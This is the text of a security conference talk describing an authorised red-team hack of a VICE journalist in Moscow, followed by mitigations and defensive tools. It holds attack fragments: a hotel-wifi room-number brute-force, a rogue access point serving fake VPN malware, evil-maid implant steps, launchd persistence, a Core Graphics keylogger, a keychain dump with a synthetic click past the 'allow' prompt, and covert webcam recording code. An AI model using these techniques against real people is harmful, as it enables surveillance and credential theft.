WHEN IN RUSSIA
HACKING VICE ABROAD

Patrick Wardle
Chief Research Officer
Digita Security
@patrickwardle

Mikhail Sosonkin
Security Researcher
@hexlogic
Patrick Wardle

Chief Research Officer at Digital Security

Mikhail Sosonkin

Security Researcher, Synack Red Team Member
OUTLINE

the target → intel gathering

initial access

persistent access → mitigations
THE TARGET

gianna toboni
The Mission

hack, hack, hack!

VICE: “hey guys, you’ll be in moscow ya? can you hack our producer while she is there?”

VICE: “everything is fair game...and you can be on TV!”

Mike/Patrick: “we could ...in Russia though!? ...sounds risky!!”

Mike/Patrick: “say no more, we’re in”

what could go wrong!? 😞
The Target

gianna toboni

VICE on HBO®
The Location
moscow, russia

Positive Hack Days conference

only lasts 2 days!
GATHERING INTEL

...on short timeline
Intel Required
...for a remote attack

1. what devices?
2. possible delivery 'options'

Once we've identified a delivery option (wifi? email?), and the target's devices (macbook?, iPhone?), we can craft & deliver a custom malicious payload...
what devices does the target use?

Intel Required (remote attack)
Intel Required (remote attack)
what 'delivery' options are available?

email with 😷❓

...prolly not checking her email .ru?

rogue wifi AP?
Intel Required for a physical ('evil maid') attack

Once we've identified the target's location and schedule, an 'evil maid' attack should allow us to compromise the target's device(s).
Intel Required (physical attack) where is she?

target likely at conference hotel

Crowne Plaza: Россия, Москва, Краснопресненская наб., 12

...but in which room?
Intel Required (physical attack) can i haz your (room) number?

hotel wifi system

- don't know the target's room number but there are a finite (sequential) list of rooms
- we know the target's last name

user name: you room number
password: your last name, (upper)
Intel Required (physical attack)
can i haz your (room) number?

room # : 2086

$ findROOM.py -u TOBONI
[ room 1 ] : error
[ room 2 ] : error
[ room 3 ] : error
[ room 4 ] : error
...
[ room 2085 ] : error
[ room 2086 ] : SUCCESS!

User: 'TOBONI'
is in Room: 2086

$ curl
   --cookie 'offer_accepted=1; path=/;
   expires=Thu, 17-May-2018 12:40:17 GMT'

   login=${floor}${room} & password=TOBONI"

   curl request
"Hello, my name is Gianna Toboni in room 2086. My colleague Patrick will be stopping by - please give him a key to my room."
Intel Results

devices

for remote attack: rogue wifi

selected delivery mechanism

for physical attack: evil maid

HOTEL

room #: 2086

we have the key!
INITIAL ACCESS
getting a foothold
Remote Attack
a rogue wifi access point (ap)

HooToo Travel Mate 6
runs linux
small, easy to hide!
bridge WiFi networks & create custom services

rogue access point
legit access point
Remote Attack
a rogue wifi access point (ap)

creating an open wifi network named "[HOTEL_NAME]_guest" with a strong signal was all it took...

dns server
webserver
etc...

strong signal
benignly named
Remote Attack

a rogue wifi access point (ap)

target connects to rogue AP

1. target connects to rogue AP
2. redirect to login page

fake sign-in page

room number
password

‘hacking’ a hotel to get room #?
Remote Attack
traffic redirection/modification

requests website
(vice.com, yelp.com, etc.)

not in russia!

0day?

traffic redirection: 'dnsmasq' service

inject malware

www.vice.com

alert: per vice policy, please download & install this VPN to secure your connection!

inject iframe w/ download
Remote Attack
traffic redirection/modification

traffic modification
Physical ('evil maid') Attack via recovery mode

- boot into recovery mode
- open terminal
- copy malware into main partition

A firmware password or full-disk encryption will thwart this!
Physical ('evil maid') Attack via recovery mode

```
# cp [malware] /Volumes/Macintosh HD/...
```

recovery mode terminal

infecting (main) partition
Physical ('evil maid') Attack via malicious devices

CONCLUSION

This paper presented a non-public [Oday] and described the necessary steps to turn it into an reliable O-day exploit. This exploit can be delivered to a target system by the simple insertion of [Redacted] even if the target system is locked. [Redacted] the system can be fully compromised.

"When plugged in, the altered adapter can trick a Mac...allowing tweaks to its firmware"
Physical ('evil maid') Attack
capturing credentials

stealing passcodes via (hidden) camera

OR...

Dear @AppleSupport, we noticed a *HUGE* security issue at MacOS High Sierra. Anyone can login as "root" with empty password after clicking on login button several times. Are you aware of it @Apple?

#iamroot ...no password needed!
Physical ('evil maid') Attack
...in action!
PERSISTENT ACCESS
remote command and control
Persistent Implant
empyre (python)

empyre

python
open-source
extensible

google cloud
virtual machine

video
screen
audio
files
commands
Persistence
launch item (daemon/agent)

daemons & agents are started by launchd

plist instructs launchd how/when to load the item

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC ...>
<plist version="1.0">
  <dict>
    <key>Label</key>
    <string>com.example.persist</string>
    <key>ProgramArguments</key>
    <array>
      <string>/path/to/persist</string>
      <string>args?</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
  </dict>
</plist>

identifier

auto launch

binary
Getting r00t 'easy' on macOS

```bash
$ cat evil.scpt
do shell script "say hi"
with administrator privileges
$ osascript evil.scpt
```

trusted auth prompt?

real hackers use 0days ;)

-most physical access attacks give you root, so a privilege escalation vulnerability is not needed!
"Core Graphics...includes services for working with display hardware, low-level user input events, and the windowing system" -apple

'core graphics keylogger

```
//install & enable CG "event tap"
eventMask = CGEventMaskBit(kCGEventKeyDown) |
           CGEventMaskBit(kCGEventKeyUp);

CGEventTapCreate(kCGSessionEventTap,
kCGHeadInsertEventTap, 0, eventMask,
eventCallback, NULL);

CGEventTapEnable(eventTap, true);
```

'sniffMK'

github.com/objective-see/sniffMK

sniffing keys via 'core graphics'
Keylogging

everything typed; yes even passwords!
Dumping the Keychain
all your passwords/keys are belong to us

private keys

passwords

auth tokens

$ /usr/bin/security dump-keychain -d login.keychain
keychain: "~/Library/Keychains/login.keychain-db"
class: "genp"
attributes:
0x00000007 <blob>="GitHub - https://api.github.com"
data:
"7257b03422bbab65f0e7d22be57c0b9444a0ae45d9e"

mouse click to 'allow'
enabling mouse keys

launch:
System Preferences

open:
Accessibility pane, and show Mouse anchor

click:
'Enable Mouse Keys'

//enable 'mouse keys'
void enableMK(float X, float Y){

  //apple script
  NSAppleScript* scriptObject =
      [[NSAppleScript alloc] initWithSource:
       @"tell application "System Preferences"
       activate
       reveal anchor "$Mouse$" of pane id "$com.apple.preference.universalaccess$"
       end tell"];

  //exec
  [scriptObject executeAndReturnError:nil];

  //let it finish
  sleep(1);

  //clicky clicky
  CGPostMouseEvent(CGPointMake(X, Y), true, 1, true);
  CGPostMouseEvent(CGPointMake(X, Y), true, 1, false);

  return;
}
Synthetic Mouse Click

Sending a 'click'

```c
void clickAllow(float X, float Y)
{
    // move mouse
    CGEventPost(kCGHIDEventTap, CGEventCreateMouseEvent(nil, kCGEventMouseMoved, CGPointMake(X, Y), kCGMouseButtonLeft));

    // apple script
    NSAppleScript* scriptObject = [[NSAppleScript alloc] initWithSource:
        @"tell application "System Events" to key code 87"
    ];

    // exec
    [scriptObject executeAndReturnError:nil];
}
```

Sending a synthetic click
Note: Keypad 5: key code 87

The key press also generates a 'mouse' event

That Apple does not block!!
Dumping the Keychain

"OS X keychains are designed to protect sensitive data such as passwords, keys, and credentials." - Apple

High Sierra Bug
...a suggestion: a macOS bug bounty program (for charity)!

exfil keychain
Spying via the Webcam recording, but that pesky LED

Q: "Is it possible for someone to hack into the camera...and the green light not be on?"

A: "This feature is implemented in the firmware...
Now, while it's technically possible to replace that firmware, you would have to do some Mission Impossible sh** to pull that off (break into Apple/Chinese camera chip manufacturer, steal firmware source code, modify it, and then somehow inject it into the camera, which probably involves physically removing it from the computer"

-reddit

LED, hardware based
› immutable?
› signed firmware?

tl;dr extremely difficult (even w/ physical access)
Spying via the Webcam
...but the webcam is a shared resource

1. User initiates webcam session
2. Malware detects this & begins recording (until session ends)
3. ...and exfil's it to remote attacker

infected mac
Spying via the Webcam
recording code

```swift
//capture session
AVCaptureSession* session = [[AVCaptureSession alloc] init];

//video input
AVCaptureDeviceInput* input = [AVCaptureDeviceInput deviceInputWithDevice:videoDevice ...];

//output file
AVCaptureMovieFileOutput* output = [[AVCaptureMovieFileOutput alloc] init];

//add input
[session addInput:input];

//add output
[session addOutput:output];

//start session
[session startRunning];

//start recording!
[movieFileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"someFile"]
   recordingDelegate:self];
```

recording off the webcam
Spying via the Webcam
skype session

captured webcam session (target's fiancé)

video
audio

us (remote)
End Results: EVERYTHING!

unauthorized tweets

free uber rides!
Mitigations

likelihood of getting hacked--
The (Harsh) Reality

#truth:
"if somebody wants to hack you, they will"

pegasus malware
three iOS 0days!

but, we can make it harder,
...or maybe even detect the hack
Remote Attacks
'standard-practice' mitigations

- burner devices
- fully updated/patched OS
- vpn for all traffic

hacked? ...meh, doesn't matter

Stop Fabricating Travel Security Advice
Advice that includes lying to federal officers is worse than useless

{ do not lie to federal officers
  do not attract attention
  do not act entitled

medium.com/@thegrugq/stop-fabricating-travel-security-advice-35259bf0e869
Remote Attacks
other mitigations (travel-related)

- don't download/install anything!
- don't log in to any (important) accounts

burner devices
Free Security Tools
blockblock (persistence)

BlockBlock: monitors for persistence

download: objective-see.com
Free Security Tools

LuLu (firewall)

LuLu: monitors for network connections

download: objective-see.com
Free Security Tools

overSight (webcam/mic)

OverSight: monitors for webcam & mic usage

download: objective-see.com
Free Security Tools

do not disturb (evil maid)

Welcome to

DoNotDisturb

'Do Not Disturb' attempts to detect 'evil maid' attacks, alerting you if somebody tampers with your laptop!

execute action path
Perform an action (script, binary, etc).

monitor
Track new processes, usb insertions, etc.
...this will automatically terminate (after...

download:
objective-see.com
Physical Attacks

...physical mitigations

"cover up your webcam"
-(former) FBI director
Physical Attacks
other 'best practice' mitigations

- don't trust the safe
- authenticate via biometrics
- set a boot/firmware password
- keep your devices near by

⚠️ still, may not thwart a sophisticated attacker...
Always Remember...

A CRYPTO NERD'S IMAGINATION:
His laptop's encrypted. Let's build a million-dollar cluster to crack it.

Blast! Our evil plan is foiled!

No good! It's 4096-bit RSA!

WHAT WOULD ACTUALLY HAPPEN:
His laptop's encrypted. Drug him and hit him with this $5 wrench until he tells us the password.

Got it.

what's could happen anyways...
Conclusion

wrapping this up
This is really happening! ...not just in the movies

**Russian Hackers Are Targeting Hotels Across Europe, Researchers Say**

The hackers used booby-trapped Word documents and a leaked NSA hacking tool to get a foothold into the networks to then attack guests.
Take Aways

learned about:

- gathering intel
- gaining access
- persistent capabilities

take aways:

- hackers likely 'win'
- (free!) mitigations can help

Objective-See
Credits

- iconexperience.com
- wirdou.com/2012/02/04/is-that-bad-doctor
- http://newosxbook.com/